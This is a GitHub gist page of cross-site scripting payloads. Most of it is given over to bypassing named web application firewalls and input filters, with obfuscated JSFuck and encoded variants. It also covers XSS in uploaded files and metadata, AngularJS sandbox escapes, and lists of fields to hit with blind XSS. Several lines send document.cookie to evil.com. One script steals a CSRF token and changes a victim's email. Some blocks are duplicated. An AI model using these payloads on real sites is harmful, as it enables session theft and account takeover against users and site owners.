-
-
Save ratnadip1998/7cc39d6a7c5e6e839c0d43369ba6e043 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ##Rare Cases | |
| */</script><script>alert()/* | |
| 'href=javascript:alert()>click me<a/y=' | |
| "autofocus onclick=’alert()' | |
| Akamai Tricks & Tips | |
| * alert() => window['alert']() | |
| * alert() => this['alert']() | |
| * alert() => (alert)() | |
| * alert() => eval(atob('YWxlcnQoKQ==')) | |
| * document.cookie => document['cookie'] | |
| Input : "/**/ONX=""/**/ONFOCUS=prompt()> | |
| Respond : Blocked 🙁 | |
| Input : "%01onfocus=test> | |
| Respond : blocked 🙁 | |
| Input : "%2501onfocus=> | |
| Respond : blocked 🙁 | |
| Input : "test=[1].map(confirm)> | |
| Respond : blocked 🙁 | |
| Input : "test=[1].map%26%2300000000000040;1)> | |
| Respond : Blocked 🙁 | |
| Solutions : | |
| Input : "onx=() onmouseover=prompt(1)> | |
| Respond : pop up appears 😃 | |
| Input : " onxXxxXXxXXXxx=() autofocus onmouseover=prompt(1)> | |
| Respond : pop up appears 😃 | |
| Input : "onx={} onmouseover=prompt(1)> | |
| Respons : pop up appears 😃 | |
| Input : "onx=[] onmouseover=prompt(1)> | |
| Respond : pop up appears 😃 | |
| Dom XSS bypass WAF Cloudflare | |
| " onfocus=0;[1].some(confirm) haha=" | |
| Simple technique XSS REFLECTED Bypass Waf ACCES DENIED & REQUEST REJECTED | |
| Input : "onclick=> | |
| Respond : blocked waf :( | |
| Input : "><details ontoggle=> | |
| Respond : blocked waf :( | |
| Input = "autofocus /*/onXXXXX=""/*/ONFOCUS= | |
| Respond : blocked waf :( | |
| Input : prompt() | |
| Respond : blocked waf :( | |
| Input : [1].find(alert) | |
| Respond : blocked waf :( | |
| Input : constructor.constructor('alert()')() | |
| Respond : blocked waf :( | |
| Solutions : | |
| Input : "autofocus %2501onfocus=> | |
| Respond : not blocked waf :D | |
| Input : <details/autofocus/OnToGGle=> | |
| Respond : not blocked waf :D | |
| Input : [1].map(alert) | |
| Respond : not blocked waf :D | |
| Final : | |
| Input : <details/OPEN/autofocus/OnToGGle=[1].map(confirm)> | |
| Respond : Pop Up appears :D | |
| Input : "autofocus %2501onfocus=[1].map(confirm)> | |
| Respond : Pop Up appears :D | |
| Solution XSS BYPASS REMOVED TAG & FILTER TAG HTML ENTITIES WITH NOSCRIPT TAG | |
| Input : <img src=x onerror=prompt(1)> | |
| Respond : <img> | |
| Input : <svg onload=prompt(1)> | |
| Respond : <svg onload=prompt()> | |
| Input : <details ontoggle=prompt(1)> | |
| Respond : <details xss=removed> | |
| No pop up appears :( | |
| Solution : | |
| Input : <noscript><p title='</noscript><svg onload=prompt(1)>'> | |
| Respond : <noscript><p title='</noscript><svg onload=prompt(1)>'> | |
| Pop up appears :D | |
| Our 1st-choice #XSS vector reflects: | |
| <Svg/Onload=1 | |
| We try to add code but "alert" string gets caught (403) so we split it: | |
| top["al"+"ert"] | |
| No 403 but 400 status code this time so we encode brackets: | |
| <Svg/Onload=top%5B"al"%2B"ert%5D(1)// | |
| login XSS filter bypass: | |
| Input: "<> onmouseover="hack() | |
| Reflection: | |
| <a class="login-link v-button" href="site.com/test"<> "hack()">Log in | |
| * <,>, on* => Filtered | |
| * " => Not Filtered | |
| Bypass: | |
| ononmouseover=mouseover=onmouseover="alert() | |
| The application will strip off the restricted word "onmouseover=" and the reflection will be: | |
| "onmouseover="hack() | |
| or | |
| "onmouseover="prompt(document.domain) | |
| Note: Application was only blocking eventhandlers and tags were not allowed so escaping to HTML context was not possible. | |
| <img/src/onerror=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])> | |
| <marquee width=10 loop=2 behavior="alternate" onbounce=alert()> | |
| <marquee onstart=alert(1)> | |
| <marquee loop=1 width=0 onfinish=alert(1)> | |
| <marquee onstart=alert(1)> | |
| <audio src onloadstart=alert(1)> | |
| <video onloadstart=alert(1)><source> | |
| <input autofocus onblur=alert(1)> | |
| <keygen autofocus onfocus=alert(1)> | |
| <form onsubmit=alert(1)><input type=submit> | |
| <select onchange=alert(1)><option>1<option>2 | |
| <menu id=x contextmenu=x onshow=alert(1)>right click me! | |
| # Locators | |
| "'';!--"<XSS>=&{()}{7*7} | |
| #Browser bypass | |
| "%3balert(1)// | |
| `-alert(1)</script><script>` | |
| <svg o<script>nload=alert(1)> | |
| <script>/%26/-alert(1)</script> | |
| "%3Blocation='javascript\x3Aalert\x281\x29'// | |
| <x~%0Aonfocus=alert(1) id=a tabindex=0>#a | |
| %3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a | |
| "src=data:,alert%25281%2529></script><script x=" | |
| %22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22 | |
| %3CPXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9 | |
| <PXML><html:script>alert(1)</html:script> | |
| <button formaction=form3>CLICK<select name=q><option>%26lt%3Bscript>alert(1)%26lt%3B/script> | |
| %3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E | |
| # 101 | |
| <script>alert(1)</script> | |
| <script>+-+-1-+-+alert(1)</script> | |
| <script>+-+-1-+-+alert(/xss/)</script> | |
| %3Cscript%3Ealert(0)%3C%2Fscript%3E | |
| %253Cscript%253Ealert(0)%253C%252Fscript%253E | |
| <svg onload=alert(1)> | |
| "><svg onload=alert(1)> | |
| <iframe src="javascript:alert(1)"> | |
| "><script src=data:,alert(1)// | |
| <noscript><p title="</noscript><img src=x onerror=alert(1)>"> | |
| %5B'-alert(document.cookie)-'%5D | |
| # Tag filter bypass | |
| <svg/onload=alert(1)> | |
| <script>alert(1)</script> | |
| <script >alert(1)</script> | |
| <ScRipT>alert(1)</sCriPt> | |
| <%00script>alert(1)</script> | |
| <script>al%00ert(1)</script> | |
| # HTML tags | |
| <img/src=x a='' onerror=alert(1)> | |
| <IMG """><SCRIPT>alert(1)</SCRIPT>"> | |
| <img src=`x`onerror=alert(1)> | |
| <img src='/' onerror='alert("kalisa")'> | |
| <IMG SRC=# onmouseover="alert('xxs')"> | |
| <IMG SRC= onmouseover="alert('xxs')"> | |
| <IMG onmouseover="alert('xxs')"> | |
| <BODY ONLOAD=alert('XSS')> | |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> | |
| <SCRIPT SRC=http:/evil.com/xss.js?< B > | |
| "><XSS<test accesskey=x onclick=alert(1)//test | |
| <svg><discard onbegin=alert(1)> | |
| <script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script> | |
| <script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script> | |
| # Other tags | |
| <BASE HREF="javascript:alert('XSS');//"> | |
| <DIV STYLE="width: expression(alert('XSS'));"> | |
| <TABLE BACKGROUND="javascript:alert('XSS')"> | |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> | |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> | |
| <xss id=x tabindex=1 onactivate=alert(1)></xss> | |
| <xss onclick="alert(1)">test</xss> | |
| <xss onmousedown="alert(1)">test</xss> | |
| <body onresize=alert(1)>”onload=this.style.width=‘100px’> | |
| <xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script> | |
| # CharCode | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| # Input already in script tag | |
| @domain.com">user+'-alert`1`-'@domain.com | |
| # Scriptless | |
| <link rel=icon href="//evil? | |
| <iframe src="//evil? | |
| <iframe src="//evil? | |
| <input type=hidden type=image src="//evil? | |
| # Unclosed Tags | |
| <svg onload=alert(1)// | |
| # Blind XSS | |
| # https://github.com/LewisArdern/bXSS | |
| # https://github.com/ssl/ezXSS | |
| # https://xsshunter.com/ | |
| # Blind XSS detection | |
| # Xsshunter payload in every field | |
| # Review forms | |
| # Contact Us pages | |
| # Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode) | |
| # Address fields of e-commerce sites | |
| # First or Last Name field while doing Credit Card Payments | |
| # Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite. | |
| # Log Viewers | |
| # Feedback Page | |
| # Chat Applications | |
| # Any app that requires user moderation | |
| # Host header | |
| # Why cancel subscription? forms | |
| # No parentheses | |
| <script>onerror=alert;throw 1</script> | |
| <script>throw onerror=eval,'=alert\x281\x29'</script> | |
| <script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script> | |
| <script>location='javascript:alert\x281\x29'</script> | |
| <script>alert`1`</script> | |
| <script>new Function`X${document.location.hash.substr`1`}`</script> | |
| # No parentheses and no semicolons | |
| <script>{onerror=alert}throw 1</script> | |
| <script>throw onerror=alert,1</script> | |
| <script>onerror=alert;throw 1337</script> | |
| <script>{onerror=alert}throw 1337</script> | |
| <script>throw onerror=alert,'some string',123,'haha'</script> | |
| # No parentheses and no spaces: | |
| <script>Function`X${document.location.hash.substr`1`}```</script> | |
| # Angle brackets HTML encoded (in an attribute) | |
| “onmouseover=“alert(1) | |
| ‘-alert(1)-’ | |
| # If quote is escaped | |
| ‘}alert(1);{‘ | |
| ‘}alert(1)%0A{‘ | |
| \’}alert(1);{// | |
| # Embedded tab, newline, carriage return to break up XSS | |
| <IMG SRC="jav	ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| # RegEx bypass | |
| <img src="X" onerror=top[8680439..toString(30)](1337)> | |
| # Other | |
| <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’) | |
| # Unicode | |
| <script>\u0061lert(1)</script> | |
| <script>\u{61}lert(1)</script> | |
| <script>\u{0000000061}lert(1)</script> | |
| # Hex | |
| <script>eval('\x61lert(1)')</script> | |
| # HTML | |
| <svg><script>alert(1)</script></svg> | |
| <svg><script>alert(1)</script></svg> | |
| <svg><script>alert
(1)</script></svg> | |
| <svg><script>x="",alert(1)//";</script></svg> | |
| \’-alert(1)// | |
| # URL | |
| <a href="javascript:x='%27-alert(1)-%27';">XSS</a> | |
| # Double URL Encode | |
| %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E | |
| %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E | |
| # Unicode + HTML | |
| <svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg> | |
| # HTML + URL | |
| <iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe> | |
| # Unicode | |
| <script>\u0061lert(1)</script> | |
| <script>\u{61}lert(1)</script> | |
| <script>\u{0000000061}lert(1)</script> | |
| # Hex | |
| <script>eval('\x61lert(1)')</script> | |
| # HTML | |
| <svg><script>alert(1)</script></svg> | |
| <svg><script>alert(1)</script></svg> | |
| <svg><script>alert
(1)</script></svg> | |
| <svg><script>x="",alert(1)//";</script></svg> | |
| \’-alert(1)// | |
| # URL | |
| <a href="javascript:x='%27-alert(1)-%27';">XSS</a> | |
| # Double URL Encode | |
| %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E | |
| %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E | |
| # Unicode + HTML | |
| <svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg> | |
| # HTML + URL | |
| <iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe> | |
| # XSS in filename: | |
| "><img src=x onerror=alert(document.domain)>.gif | |
| # XSS in metadata: | |
| exiftool -FIELD=XSS FILE | |
| exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg | |
| exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg | |
| # XSS in GIF Magic Number: | |
| GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; | |
| # If image can't load: | |
| url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif> | |
| # XSS in png: | |
| https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/ | |
| # XSS in PDF: | |
| https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1 | |
| # XSS upload filename: | |
| cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\> | |
| <img src=x onerror=alert('XSS')>.png | |
| "><img src=x onerror=alert('XSS')>.png | |
| "><svg onmouseover=alert(1)>.svg | |
| <<script>alert('xss')<!--a-->a.png | |
| "><svg onload=alert(1)>.gif | |
| # XSS Svg Image upload | |
| <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> | |
| <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> | |
| <script type="text/javascript"> | |
| alert('XSS!'); | |
| </script> | |
| </svg> | |
| # XSS svg image upload 2 | |
| # If you're testing a text editor on a system that you can also upload files to, try to embed an svg: | |
| <iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe> | |
| #If that works, upload an SVG with the following content and try rendering it using the text editor: | |
| <svg xmlns="http://www.w3.org/2000/svg"> | |
| <script>alert(document.domain)</script> | |
| </svg> | |
| # XSS in SVG 3: | |
| <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> | |
| # XSS in XML | |
| <html> | |
| <head></head> | |
| <body> | |
| <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> | |
| </body> | |
| </html> | |
| # https://brutelogic.com.br/blog/file-upload-xss/ | |
| " ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29' | |
| # XSS in existent jpeg: | |
| exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg | |
| # XSS in url (and put as header) | |
| http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD] | |
| # XSS in XML | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <html xmlns:html="http://w3.org/1999/xhtml"> | |
| <html:script>prompt(document.domain);</html:script> | |
| </html> | |
| <img src=1 onerror=alert(1)> | |
| <iframe src=javascript:alert(1)> | |
| <details open ontoggle=alert(1)> | |
| <svg><svg onload=alert(1)> | |
| data:text/html,<img src=1 onerror=alert(1)> | |
| data:text/html,<iframe src=javascript:alert(1)> | |
| <iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')"> | |
| "><svg onload=alert(1)> | |
| javascript:alert(document.cookie) | |
| \"-alert(1)}// | |
| # Example: | |
| # Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email: | |
| <script> | |
| var req = new XMLHttpRequest(); | |
| req.onload = handleResponse; | |
| req.open('get','/email',true); | |
| req.send(); | |
| function handleResponse() { | |
| var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; | |
| var changeReq = new XMLHttpRequest(); | |
| changeReq.open('post', '/email/change-email', true); | |
| changeReq.send('csrf='+token+'&[email protected]') | |
| }; | |
| </script> | |
| # Removed in AngularJS 1.6 | |
| # Is a way to avoid some strings like window, document or __proto__. | |
| # Without strings: | |
| /?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 | |
| # With CSP: | |
| <script> | |
| location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x'; | |
| </script> | |
| # v 1.6 and up | |
| {{$new.constructor('alert(1)')()}} | |
| <x ng-app>{{$new.constructor('alert(1)')()}} | |
| {{constructor.constructor('alert(1)')()}} | |
| {{constructor.constructor('import("https://six2dez.xss.ht")')()}} | |
| {{$on.constructor('alert(1)')()}} | |
| {{{}.")));alert(1)//"}} | |
| {{{}.")));alert(1)//"}} | |
| toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41) | |
| # Inside JS script: | |
| </script><img src=1 onerror=alert(document.domain)> | |
| </script><script>alert(1)</script> | |
| # Inside JS literal script: | |
| '-alert(document.domain)-' | |
| ';alert(document.domain)// | |
| '-alert(1)-' | |
| # Inside JS that escape special chars: | |
| If ';alert(document.domain)// is converted in \';alert(document.domain)// | |
| Use \';alert(document.domain)// to obtain \\';alert(document.domain)// | |
| \'-alert(1)// | |
| # Inside JS with some char blocked: | |
| onerror=alert;throw 1 | |
| /post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 | |
| # Inside {} | |
| ${alert(document.domain)} | |
| ${alert(1)} | |
| # Only lowercase block | |
| <sCRipT>alert(1)</sCRipT> | |
| # Break regex | |
| <script>%0aalert(1)</script> | |
| # Double encoding | |
| %2522 | |
| # Recursive filters | |
| <scr<script>ipt>alert(1)</scr</script>ipt> | |
| # Inject anchor tag | |
| <a/href="j	a	v	asc	ri	pt:alert(1)"> | |
| # Bypass whitespaces | |
| <svg·onload=alert(1)> | |
| # Change GET to POST request | |
| # Imperva Incapsula | |
| %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E | |
| <img/src="x"/onerror="[JS-F**K Payload]"> | |
| <iframe/onload='this["src"]="javas	cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'> | |
| # WebKnight | |
| <details ontoggle=alert(1)> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)"> | |
| # F5 Big IP | |
| <body style="height:1000px" onwheel="[DATA]"> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]"> | |
| <body style="height:1000px" onwheel="[JS-F**k Payload]"> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]"> | |
| <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)"> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)"> | |
| # Barracuda WAF | |
| <body style="height:1000px" onwheel="alert(1)"> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)"> | |
| # PHP-IDS | |
| <svg+onload=+"[DATA]" | |
| <svg+onload=+"aler%25%37%34(1)" | |
| # Mod-Security | |
| <a href="j[785 bytes of (
	)]avascript:alert(1);">XSS</a> | |
| 1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4 | |
| <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)> | |
| # Quick Defense: | |
| <input type="search" onsearch="aler\u0074(1)"> | |
| <details ontoggle="aler\u0074(1)"> | |
| # Sucuri WAF | |
| 1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4 | |
| # Akamai | |
| 1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E | |
| <SCr%00Ipt>confirm(1)</scR%00ipt> | |
| # AngularJS | |
| {{constructor.constructor(alert 1 )()}} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment